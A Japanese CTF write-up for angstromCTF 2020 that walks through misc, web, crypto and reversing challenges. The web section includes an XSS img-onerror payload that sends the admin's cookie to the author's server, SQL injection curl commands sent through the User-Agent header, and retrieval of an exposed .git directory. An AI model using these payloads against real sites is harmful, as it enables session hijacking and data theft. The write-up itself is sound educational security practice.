angstromCTF 2020 Writeup

チーム Contrail として ångstromCTF 2020に参加しました

最終順位は122/1782位(2335pt)でした

自分は
MISC

WEB

CRYPTO

REV

を解きました。

感想

MISC


Sanity Check(5pt)

Join our Discord! https://discord.gg/Dduuscw

Discordに入るとFlagがピン止めしてあるらしい 問題文のリンクはYoutubeに飛ばされる コンテストサイトの/ChatからDiscordの招待を受け取り入る

rolesチャンネルをみると

React with:triangular_flag_on_post: to gain access to the rest of the channels, and react with :bell: to get notifications about announcements.

らしいのでFlagのスタンプを押すとチャンネルが全て現れ,generalにフラグがある

actf{never_gonna_let_you_down}

ws1(30pt)

Find my password from this recording (:

 strings recording.pcapng | grep actf

を実行すると

flagz,actf{wireshark_isn't_so_bad_huh-a9d8g99ikdf})
flag=actf%7Bwireshark_isn%27t_so_bad_huh-a9d8g99ikdf%7D

actf{wireshark_isn't_so_bad_huh-a9d8g99ikdf}

ws2(80pt)

No ascii, not problem :)

wiresharkで開いてExport HTTPすると画像ファイルがある
画像にflagが書いてある

actf{ok_to_b0r0s-4809813}

Shifter(160pt)

What a strange challenge…
It'll be no problem for you, of course!
nc misc.2020.chall.actf.co 20300

サーバに接続してみると以下のようなレスポンスが返ってくる

Solve 50 of these epic problems in a row to prove you are a master crypto man like Aplet123!
You'll be given a number n and also a plaintext p.
Caesar shift `p` with the nth Fibonacci number.
n < 50, p is completely uppercase and alphabetic, len(p) < 50
You have 60 seconds!
--------------------
Shift YDLDQOLN by n=49

問題分を読むとn番目のフィボナッチ数を求めてその数をもとにシーザー暗号を求めれば良いらしい。問題は50問降ってくるのでプログラムを書く
式に起こすと以下のような形
caesar(p, (fibonatch(n) % 26));
以下のようなプログラムを書いた
p=nullが返ってくる時あるので気をつける

from pwn import *
import time

def caesor(text, n):
    result = ""
    for i in range(len(text)):
        c = text[i]
        result += chr((ord(c) + n-65) % 26 + 65)
    return result


N = 50
table = [None] * (N + 1)
table[0] = 0
table[1] = 1

for i in range(2, N + 1):
    table[i] = table[i-1] + table[i-2]

io = remote('misc.2020.chall.actf.co', 20300)

rule = io.recvuntil('--------------------')
print(rule)
i = 1

while True:
    time.sleep(0.5)
    task = io.recv(1024).decode('utf-8')
    if "actf" in task:
        print("Flag is", str(task))
        exit()
#    print("task",task)
    splittask = task.split()
    if len(splittask) == 4:
        print(i,"=====NULL=====")
        io.sendline('')
        i += 1
        continue
    p = splittask[1]
    n = (splittask[3])[2:]
    shift = table[int(n)] % 26
    ans = caesor(p, shift)
    print(i, p, n, '->',ans)
    io.sendline(ans)
    i += 1

actf{h0p3_y0u_us3d_th3_f0rmu14-1985098}

ws3(180pt)

What the… record.pcapng

wiresharkでpacketを開いてみる
httpの通信があるのでfollow http streamするとsecret.git/info/refs?service=git-upload-packに対してGETしていたりsecret.git/git-upload-packに対してPOSTしていたりする
git-upload-packについて調べる
https://git-scm.com/book/ja/v2/Git%E3%81%AE%E5%86%85%E5%81%B4-%E8%BB%A2%E9%80%81%E3%83%97%E3%83%AD%E3%83%88%E3%82%B3%E3%83%AB を見ると今回の転送プロトコルがsmartプロトコルであるとわかる
upload-packはデータのダウンロード、receive-packはデータのアップロードに使われるらしい

通信全体を見てみると
pull or fetch -> commit(認証失敗) -> commit -> commit
の流れが見える(多分)

とりあえず最初にダウンロードしたデータを抽出したい

クライアントのwant (hash)に対してPACKされたデータを返すらしいので、最初にダウンロードしたファイルだと思われるPACKファイルを抽出する
(Media type: application/x-git-upload-pack-resultを抽出する)

https://git-scm.com/docs/pack-format を見ながらバイナリエディタでPACKファイル以外の余分なメッセージを削除する

PACKファイルに対してfileコマンドを叩いてみる

export_pack_file1.bin: Git pack, version 2, 3 objects

PACKファイルはgit unpack-objectsコマンドで展開できるらしいので空のディレクトリを作りgit initする

mkdir unpack1
cd unpack1
git init 
git unpack-objects < ../export_pack_file1

これで.git/objects/ 以下にobjectsが展開される 各objectsをzlibで解凍していく

12/9b99f3e90fe8faa5ed9b4e18bfb6c0cb5ce340

commit 160.tree a1ec825e60819302795b5e33e92be08bfcd1885e
author josh <josh@josh.josh> 1584054360 +0000
committer Gitea <gitea@fake.local> 1584054360 +0000

Initial commit

a1/ec825e60819302795b5e33e92be08bfcd1885e

tree 37.100644 README.md.Åú½Ç¬ÝH¢´.'ØSe...T.>

c5/fabdc7acdd48a2b49427d8536595028454973e

blob 23.# secret

secrettttt (:

次のcommitでsecretにflagが書かれていそうな気がするので次のPACKファイルを同じように復元する

34/b1647544bdcf0e896e080ec84bb8b57cccc8d0

commit 228.tree 87872f28963e229e8271e0fab6a557a1e5fb5131
parent 129b99f3e90fe8faa5ed9b4e18bfb6c0cb5ce340
author JoshDaBosh <jwanggt@gmail.com> 1584054396 -0400
committer JoshDaBosh <jwanggt@gmail.com> 1584054396 -0400

suiper secret stuff

87/872f28963e229e8271e0fab6a557a1e5fb5131

tree 73.100644 README.md.Åú½Ç¬ÝH¢´.'ØSe...T.>100644 flag.jpg.þ?GËË:ØéFЪÕ.Y½±¼.cò

fe/3f47cbcb3ad8e946d0aad59259bdb1bc9e63f2

blob 19370.ÿØÿà..JFIF.....H.H..ÿÛ.C...
(省略)

fe/3f47cbcb3ad8e946d0aad59259bdb1bc9e63f2にJPEGのヘッダーが見える+87/872f28963e229e8271e0fab6a557a1e5fb5131にflag.jpgの文字があるのでこのjpgがflag.jpgっぽい
先頭の余分なデータを削りJPEGとして修復するとflag.jpgが復元できてflagが書いてある

actf{git_good_git_wireshark-123323}

解いた後に気づいたがPACKファイルに対してbinwalk -eとかforemostを叩けばzlib圧縮されたオブジェクトが直接取得できるのでわざわざgit unpack-objectsしなくて良いので楽 (2つめのpackファイルは直接JPGが復元できる)

 

WEB


The Magic Word(20pt)

Ask and you shall receive…that is as long as you use the magic word.

sourceのスクリプトをみる

<script>
    var msg = document.getElementById("magic");
    setInterval(function() {
    if (magic.innerText == "please give flag") {
        fetch("/flag?msg=" + encodeURIComponent(msg.innerText))
              .then(res => res.text())
              .then(txt => magic.innerText = txt.split``.map(v => String.fromCharCode(v.charCodeAt(0) ^ 0xf)).join``);
                }
    }, 1000);
</script>

magicIDが振られているgive flagエレメントを編集してplease give flagにする
actf{1nsp3c7_3l3m3nt_is_y0ur_b3st_fri3nd}

Xmas Still Stands(50pt)

You remember when I said I dropped clam's tables? Well that was on Xmas day. And because I ruined his Xmas, he created the Anti Xmas Warriors to try to ruin everybody's Xmas. Despite his best efforts, Xmas Still Stands. But, he did manage to get a flag and put it on his site. Can you get it?

/Postで任意のテキストを投稿できて、/Reportで治安の悪い投稿を報告するとAdminが見に来て投稿を消してくれるらしい
/Adminを見るとcookieをみてadminと判断できたらFlagをくれると書いてある

/PostでXSSして/ReportでAdminのcookieを抜き取れる
/Postではscriptタグが使えなかったのでimgタグを利用する 以下のコードを/Postに投稿し割り振られたpost idを/Reportで報告すると用意したサーバにcookie付きでアクセスがある

<img src=x onerror="this.src='http://URL/?'+document.cookie; this.removeAttribute('onerror');">

得られたcookie

super_secret_admin_cookie: hello_yes_i_am_admin; admin_name=Jacob

cookieをセットして/Adminにアクセスするとflagが書いてある
actf{s4n1tize_y0ur_html_4nd_y0ur_h4nds}

Git Good(70pt)

Did you know that angstrom has a git repo for all the challenges? I noticed that clam committed a very work in progress challenge so I thought it was worth sharing.

https://gitgood.2020.chall.actf.co/ にアクセスするとHello,world!と書かれているだけで一見何も手がかりがないように思える
しかし、問題タイトル的に.git関連の問題だとわかる

https://gitgood.2020.chall.actf.co/.git/ に対してアクセスしたりwgetしたりしてみるが通らない
Cannot GET /.gitと言われしばらく悩む

.gitの中身が取得できないか試してみる
curl https://gitgood.2020.chall.actf.co/.git/HEAD  → HEADが取得できた

git indexをみるとthisistheflag.txtなどがあることが分かる(配置されされているファイルがわかる)
thisistheflag.txtを見ると
There used to be a flag here...
と書いてある。→commitを遡り変更を復元する必要があるらしい

https://qiita.com/tatane616/items/dbad66179754be57d2e2 を見ながら可能な限りファイルを取得し.gitを再現していく

ある程度ファイルを復元しgit logを叩くが通らない

git fsck –fullでcommit間の整合性を確認できるらしい?
objectsが足りていないことがわかるので追加で取得する

git logが叩けるようになったのでcommit を遡りthisistheflag.txtの変更を確認するとflagが手に入る

actf{b3_car3ful_wh4t_y0u_s3rve_wi7h}

btw this isn't the actual git server

Secret Agents(110pt)

Can you enter the secret agent portal? I've heard someone has a flag :eyes:
Our insider leaked the source, but was “terminated” shortly thereafter…

app.pyを見るとUserAgentでsqliできそうだとわかる

	for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True):
		if r.with_rows:
			res = r.fetchall()
			break

	cursor.close()
	conn.close()

	if len(res) == 0:
		return render_template("login.html", msg="stop! you're not allowed in here >:)")

	if len(res) > 1:
		return render_template("login.html", msg="hey! close, but no bananananananananana!!!! (there are many secret agents of course)")


	return render_template("login.html", msg="Welcome, %s"%(res[0][0]))

クエリの実行結果が複数行あると
hey! close, but no bananananananananana!!!! (there are many secret agents of course)
と言われるらしいのでクエリの結果は1つに定まる必要がある
Pythonで実行されるクエリを調べる

>>> "SELECT * FROM Agents WHERE UA='%s'" % ("1 or 1=1;/*")
"SELECT * FROM Agents WHERE UA='1 or 1=1;/*'"

シングルクォートが無いと意図したクエリにならないので気をつける

curl -H "User-Agent: 1' or 1=1;/*" https://agents.2020.chall.actf.co/login

↑のクエリでsqliが成功したのでlimit句を付けて一行ずつ特定していく
最終的に以下のクエリでFlagが手に入った

curl -H "User-Agent: 1' or 1=1 limit 2,1;/*" https://agents.2020.chall.actf.co/login
<!DOCTYPE html>

<html>
<head>
	<title>Super Secret Agents Login</title>
</head>
<body style="padding: 50px">
	<p>Welcome, actf{nyoom_1_4m_sp33d}</p>
</body>
</html>

actf{nyoom_1_4m_sp33d}

 

Crypto


Keysar(40pt)

Hey! My friend sent me a message… He said encrypted it with the key ANGSTROMCTF.
He mumbled what cipher he used, but I think I have a clue.
Gotta go though, I have history homework!!
agqr{yue_stdcgciup_padas}

keysar調べてもそれらしいものがヒットしない
caesarのkeyありという意味だと悟り"caesar key"で検索
http://rumkin.com/tools/cipher/caesar-keyed.php に鍵ANGSTROMを入れてdecodeするとフラグ

actf{yum_delicious_salad}

Reasonably Strong Algorithm(70pt)

RSA strikes again!

n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931

nをp,qに分解する必要があるが
http://factordb.com/index.php?query=126390312099294739294606157407778835887
で分解できる
あとは過去に書いたsolverを利用した

from Crypto.Util import number

def totient(p, q):
    return (p-1)*(q-1)

def decrypt(C, d, N):
    return pow(C, d, N)

n = 126390312099294739294606157407778835887
e = 65537
c = 13612260682947644362892911986815626931
p = 9336949138571181619
q = 13536574980062068373


phi = totient(p, q)

d = number.inverse(e, phi)

m = decrypt(c, d, n)

print(number.long_to_bytes(m))

actf{10minutes}

Wacko Images(90pt)

How to make hiding stuff a e s t h e t i c? And can you make it normal again? enc.png image-encryption.py
The flag is actf{x#xx#xx_xx#xxx} where x represents any lowercase letter and # represents any one digit number.

image-encryption.pyによってエンコードされた画像をデコードする問題
もとのpixelの値がわからないのでエンコードされたpixel値から式が成り立つ値を総当りする以下のsolverを書いた

from numpy import *
from PIL import Image

def find(pixel, key):
    for i in range(0,251):
        if (i * key % 251 == pixel):
            return i
    return 0

enc = Image.open(r"enc.png")
img = array(enc)

height, width, color = img.shape
key = [41, 37, 23]

for x in range(0, height):
    for y in range(0, width):
        print("calc@",x,y)
        pixel = img[x, y]
        for i in range(0, 3):
            pixel[i] = find(pixel[i], key[i])
        img[x][y] = pixel

dec = Image.fromarray(img)
dec.save('dec.png')

デコードした画像にFlagが書いてある actf{m0dd1ng_sk1llz}

 

REV


Revving Up(50pt)

Clam wrote a program for his school's cybersecurity club's first rev lecture! Can you get it to give you the flag? You can find it at /problems/2020/revving_up on the shell server, which you can access via the “shell” link at the top of the site.

用意されているWebShell上でプログラムを実行し、言われたとおりに"give flag"と入力すると次はコマンド引数として"banana"と渡せと言われるので言われたとおりにするとFlag

team5960@actf:/problems/2020/revving_up$ ./revving_up
Congratulations on running the binary!
Now there are a few more things to tend to.
Please type "give flag" (without the quotes).
give flag
Good job!
Now run the program with a command line argument of "banana" and you'll be done!
team5960@actf:/problems/2020/revving_up$ ./revving_up banana
Congratulations on running the binary!
Now there are a few more things to tend to.
Please type "give flag" (without the quotes).
give flag
Good job!
Well I think it's about time you got the flag!
actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}

actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}

Windows of Opportunity(50pt)

Clam's a windows elitist and he just can't stand seeing all of these linux challenges! So, he decided to step in and create his own rev challenge with the “superior” operating system.

デコンパイルするのかなとか思いながら

strings windows_of_opportunity.exe | grep actf

したらFlagが降ってきた

actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}

Taking Off(70pt)

So you started revving up, but is it enough to take off? Find the problem in /problems/2020/taking_off/ in the shell server.

正しいコマンドライン引数を入力する問題
コンテスト中ひたすらWeb Shell上でobjdump+gdbで解いていた(第四引数まで特定したところでxxdでダンプしてローカルで復元することに気づいた)
頑張ってアセンブリを読みながら作ったメモを供養しておきます

000000000040098e <main>:
  40098e:       55                      push   rbp
  40098f:       48 89 e5                mov    rbp,rsp
  400992:       48 81 ec c0 00 00 00    sub    rsp,0xc0
  400999:       89 bd 4c ff ff ff       mov    DWORD PTR [rbp-0xb4],edi
  40099f:       48 89 b5 40 ff ff ff    mov    QWORD PTR [rbp-0xc0],rsi
  4009a6:       64 48 8b 04 25 28 00    mov    rax,QWORD PTR fs:0x28
  4009ad:       00 00
  4009af:       48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  4009b3:       31 c0                   xor    eax,eax
  //最初の二行をprintしてるっぽいぽい
  4009b5:       48 8d 3d d4 02 00 00    lea    rdi,[rip+0x2d4]        # 400c90 <_IO_stdin_used+0x30>
  4009bc:       e8 0f fd ff ff          call   4006d0 <puts@plt>
  4009c1:       48 8d 3d 10 03 00 00    lea    rdi,[rip+0x310]        # 400cd8 <_IO_stdin_used+0x78>
  4009c8:       e8 03 fd ff ff          call   4006d0 <puts@plt>

  //コマンドライン引数の数を計算
  4009cd:       83 bd 4c ff ff ff 05    cmp    DWORD PTR [rbp-0xb4],0x5
  4009d4:       74 16                   je     4009ec <main+0x5e>

  //おそらくコマンドライン引数が違う場合のメッセージ
  4009d6:       48 8d 3d 2b 03 00 00    lea    rdi,[rip+0x32b]        # 400d08 <_IO_stdin_used+0xa8>
  4009dd:       e8 ee fc ff ff          call   4006d0 <puts@plt>
  4009e2:       b8 01 00 00 00          mov    eax,0x1
  4009e7:       e9 db 01 00 00          jmp    400bc7 <main+0x239>

  //コマンドライン引数の数が合っていたら
  4009ec:       48 8b 85 40 ff ff ff    mov    rax,QWORD PTR [rbp-0xc0]
  4009f3:       48 83 c0 08             add    rax,0x8
  4009f7:       48 8b 00                mov    rax,QWORD PTR [rax]
  4009fa:       48 8d 95 54 ff ff ff    lea    rdx,[rbp-0xac]
  400a01:       48 89 d6                mov    rsi,rdx
  400a04:       48 89 c7                mov    rdi,rax
  400a07:       e8 32 ff ff ff          call   40093e <string_to_int>
  400a0c:       48 8b 85 40 ff ff ff    mov    rax,QWORD PTR [rbp-0xc0]
  400a13:       48 83 c0 10             add    rax,0x10
  400a17:       48 8b 00                mov    rax,QWORD PTR [rax]
  400a1a:       48 8d 95 58 ff ff ff    lea    rdx,[rbp-0xa8]
  400a21:       48 89 d6                mov    rsi,rdx
  400a24:       48 89 c7                mov    rdi,rax
  400a27:       e8 12 ff ff ff          call   40093e <string_to_int>
  400a2c:       48 8b 85 40 ff ff ff    mov    rax,QWORD PTR [rbp-0xc0]
  400a33:       48 83 c0 18             add    rax,0x18
  400a37:       48 8b 00                mov    rax,QWORD PTR [rax]
  400a3a:       48 8d 95 5c ff ff ff    lea    rdx,[rbp-0xa4]
  400a41:       48 89 d6                mov    rsi,rdx
  400a44:       48 89 c7                mov    rdi,rax
  400a47:       e8 f2 fe ff ff          call   40093e <string_to_int>
  //右辺は入力値
  400a4c:       8b 85 54 ff ff ff       mov    eax,DWORD PTR [rbp-0xac]
  400a52:       89 c7                   mov    edi,eax
  400a54:       e8 14 ff ff ff          call   40096d <is_invalid>
  400a59:       85 c0                   test   eax,eax
  //is_invalidが0を返すと飛ぶ
  400a5b:       75 6d                   jne    400aca <main+0x13c>
  //右辺は入力値
  400a5d:       8b 85 58 ff ff ff       mov    eax,DWORD PTR [rbp-0xa8]
  400a63:       89 c7                   mov    edi,eax
  400a65:       e8 03 ff ff ff          call   40096d <is_invalid>
  400a6a:       85 c0                   test   eax,eax
  //is_invalidが0を返すと飛ぶ
  400a6c:       75 5c                   jne    400aca <main+0x13c>
  //右辺は入力値
  400a6e:       8b 85 5c ff ff ff       mov    eax,DWORD PTR [rbp-0xa4]
  400a74:       89 c7                   mov    edi,eax
  400a76:       e8 f2 fe ff ff          call   40096d <is_invalid>
  400a7b:       85 c0                   test   eax,eax
  //is_invalidが0を返すと飛ぶ
  400a7d:       75 4b                   jne    400aca <main+0x13c>

  //第二引数の特定
  400a7f:       8b 85 58 ff ff ff       mov    eax,DWORD PTR [rbp-0xa8]
  //多分 ecx = eax * 64 [eaxは第二引数?]
  400a85:       6b c8 64                imul   ecx,eax,0x64
  //edx=第一引数
  400a88:       8b 95 54 ff ff ff       mov    edx,DWORD PTR [rbp-0xac]
  400a8e:       89 d0                   mov    eax,edx
  //eax[第一引数]を2bit左シフト
  400a90:       c1 e0 02                shl    eax,0x2
  //シフトしたeaxとedx
  400a93:       01 d0                   add    eax,edx
  //2倍
  400a95:       01 c0                   add    eax,eax

  400a97:       8d 14 01                lea    edx,[rcx+rax*1]
  //第三引数
  400a9a:       8b 85 5c ff ff ff       mov    eax,DWORD PTR [rbp-0xa4]
  400aa0:       01 d0                   add    eax,edx
  //なんか計算したeaxが0x3a4と同じじゃないとだめらしい
  400aa2:       3d a4 03 00 00          cmp    eax,0x3a4
  400aa7:       75 21                   jne    400aca <main+0x13c>

  //第四引数?アドレスを渡すっぽい
  400aa9:       48 8b 85 40 ff ff ff    mov    rax,QWORD PTR [rbp-0xc0]
  400ab0:       48 83 c0 20             add    rax,0x20
  400ab4:       48 8b 00                mov    rax,QWORD PTR [rax]
  //ここにbreakpointしかければ引数がわかるので計算する必要なし
  400ab7:       48 8d 35 8b 02 00 00    lea    rsi,[rip+0x28b]        # 400d49 <_IO_stdin_used+0xe9>
  400abe:       48 89 c7                mov    rdi,rax
  400ac1:       e8 7a fc ff ff          call   400740 <strcmp@plt>
  //eaxが1なら1、0なら0
  400ac6:       85 c0                   test   eax,eax
  //strcmpが正しければjmp
  400ac8:       74 16                   je     400ae0 <main+0x152>

  //終了へ飛ぶブロック
  400aca:       48 8d 3d 87 02 00 00    lea    rdi,[rip+0x287]        # 400d58 <_IO_stdin_used+0xf8>
  400ad1:       e8 fa fb ff ff          call   4006d0 <puts@plt>
  400ad6:       b8 01 00 00 00          mov    eax,0x1
  400adb:       e9 e7 00 00 00          jmp    400bc7 <main+0x239>

 //多分パスワード聞かれるフェーズ 
  400ae0:       48 8d 3d a9 02 00 00    lea    rdi,[rip+0x2a9]        # 400d90 <_IO_stdin_used+0x130>
  400ae7:       e8 e4 fb ff ff          call   4006d0 <puts@plt>
  400aec:       48 8b 15 bd 15 20 00    mov    rdx,QWORD PTR [rip+0x2015bd]        # 6020b0 <stdin@@GLIBC_2.2.5>
  400af3:       48 8d 85 70 ff ff ff    lea    rax,[rbp-0x90]
  400afa:       be 80 00 00 00          mov    esi,0x80
  400aff:       48 89 c7                mov    rdi,rax
  //password 入力
  400b02:       e8 29 fc ff ff          call   400730 <fgets@plt>
  400b07:       48 8d 85 70 ff ff ff    lea    rax,[rbp-0x90]
  400b0e:       be 0a 00 00 00          mov    esi,0xa
  400b13:       48 89 c7                mov    rdi,rax
  //文字列の検索
  400b16:       e8 f5 fb ff ff          call   400710 <strchr@plt>
  400b1b:       48 89 85 68 ff ff ff    mov    QWORD PTR [rbp-0x98],rax
  400b22:       48 83 bd 68 ff ff ff    cmp    QWORD PTR [rbp-0x98],0x0
  400b29:       00
  400b2a:       74 0a                   je     400b36 <main+0x1a8>
  400b2c:       48 8b 85 68 ff ff ff    mov    rax,QWORD PTR [rbp-0x98]
  400b33:       c6 00 00                mov    BYTE PTR [rax],0x0
  400b36:       48 8d 85 70 ff ff ff    lea    rax,[rbp-0x90]
  400b3d:       48 89 c7                mov    rdi,rax
  //文字列の長さ
  400b40:       e8 9b fb ff ff          call   4006e0 <strlen@plt>
  400b45:       89 85 64 ff ff ff       mov    DWORD PTR [rbp-0x9c],eax
  400b4b:       c7 85 60 ff ff ff 00    mov    DWORD PTR [rbp-0xa0],0x0
  400b52:       00 00 00
  400b55:       eb 47                   jmp    400b9e <main+0x210>
  400b57:       8b 85 60 ff ff ff       mov    eax,DWORD PTR [rbp-0xa0]
  400b5d:       48 98                   cdqe
  400b5f:       0f b6 84 05 70 ff ff    movzx  eax,BYTE PTR [rbp+rax*1-0x90]
  400b66:       ff
  400b67:       83 f0 2a                xor    eax,0x2a
  400b6a:       89 c1                   mov    ecx,eax
  400b6c:       8b 85 60 ff ff ff       mov    eax,DWORD PTR [rbp-0xa0]
  400b72:       48 63 d0                movsxd rdx,eax
  400b75:       48 8d 05 14 15 20 00    lea    rax,[rip+0x201514]        # 602090 <desired>
  400b7c:       0f b6 04 02             movzx  eax,BYTE PTR [rdx+rax*1]
  //8bit compare rcx rax
  400b80:       38 c1                   cmp    cl,al
  //これは飛ばないと行けない
  400b82:       74 13                   je     400b97 <main+0x209>
  //I'm sure it's just a typo. try again
  400b84:       48 8d 3d 3d 02 00 00    lea    rdi,[rip+0x23d]        # 400dc8 <_IO_stdin_used+0x168>
  400b8b:       e8 40 fb ff ff          call   4006d0 <puts@plt>
  400b90:       b8 01 00 00 00          mov    eax,0x1
  400b95:       eb 30                   jmp    400bc7 <main+0x239>
  400b97:       83 85 60 ff ff ff 01    add    DWORD PTR [rbp-0xa0],0x1
  //この下の比較が最後
  400b9e:       8b 85 60 ff ff ff       mov    eax,DWORD PTR [rbp-0xa0]
  400ba4:       3b 85 64 ff ff ff       cmp    eax,DWORD PTR [rbp-0x9c]
  400baa:       7e ab                   jle    400b57 <main+0x1c9>
  //congraturation的なメッセとフラグかな
  400bac:       48 8d 3d 3d 02 00 00    lea    rdi,[rip+0x23d]        # 400df0 <_IO_stdin_used+0x190>
  400bb3:       e8 18 fb ff ff          call   4006d0 <puts@plt>
  400bb8:       b8 00 00 00 00          mov    eax,0x0
  400bbd:       e8 b5 fc ff ff          call   400877 <print_flag>
  400bc2:       b8 00 00 00 00          mov    eax,0x0
  400bc7:       48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
  400bcb:       64 48 33 0c 25 28 00    xor    rcx,QWORD PTR fs:0x28
  400bd2:       00 00
  400bd4:       74 05                   je     400bdb <main+0x24d>
  400bd6:       e8 15 fb ff ff          call   4006f0 <__stack_chk_fail@plt>
  400bdb:       c9                      leave
  400bdc:       c3                      ret
  400bdd:       0f 1f 00                nop    DWORD PTR [rax]

上のダンプ結果をみながらgdbで検証する(もしくはGhidraのデコンパイル結果を見る)と
第一引数 3
第二引数 9
第三引数 2
第四引数 chichken
が求まる

これらをプログラムに渡して実行するとパスワードの入力が求められる
Ghidraのデコンパイル結果を見ると(一部rename)

while (loop <= string_length) {
  if ((input[loop] ^ 0x2a) != desired[loop]) {
      puts("I\'m sure it\'s just a typo. Try again.");
      uVar2 = 1;
      goto LAB_00400bc7;
  }
  loop = loop + 1;
}

passwordは0x2aとxorした結果がdesired(5a 46 4f 4b 59 4f 0a 4d 43 5c 4f 0a 4d 43 5c 4f 0a 4c 46 4b 4d 2a)と等しくなる必要があるとわかる
つまりdesiredの各文字 xor 0x2aがpasswordである
これを求めるとpasswordがplease give flagであるとわかる

求めたコマンドライン引数とpasswordを入力するとFlagが出力される

team5960@actf:/problems/2020/taking_off$ ./taking_off 3 9 2 chicken
So you figured out how to provide input and command line arguments.
But can you figure out what input to provide?
Well, you found the arguments, but what's the password?
please give flag
Good job! You're ready to move on to bigger and badder rev!
actf{th3y_gr0w_up_s0_f4st}

ところでwriteupを書きながら改めて問題文を見ると"taking_off"がリンクになっていますね…
わざわざダンプしなくても問題ファイルは提供されていました

actf{th3y_gr0w_up_s0_f4st}

 

感想


個人的にはForensicsが無くて悲しかったです(Discordにチャンネルがあったので問題追加があると思っていた)
最初の三日間くらい参加してその後は開発のタスクをしていました
簡単な問題しか通して無いですが色々なジャンルに手を出せてよかったと思います
反省点としては問題文はしっかり見るということ(Taking Offの戒め)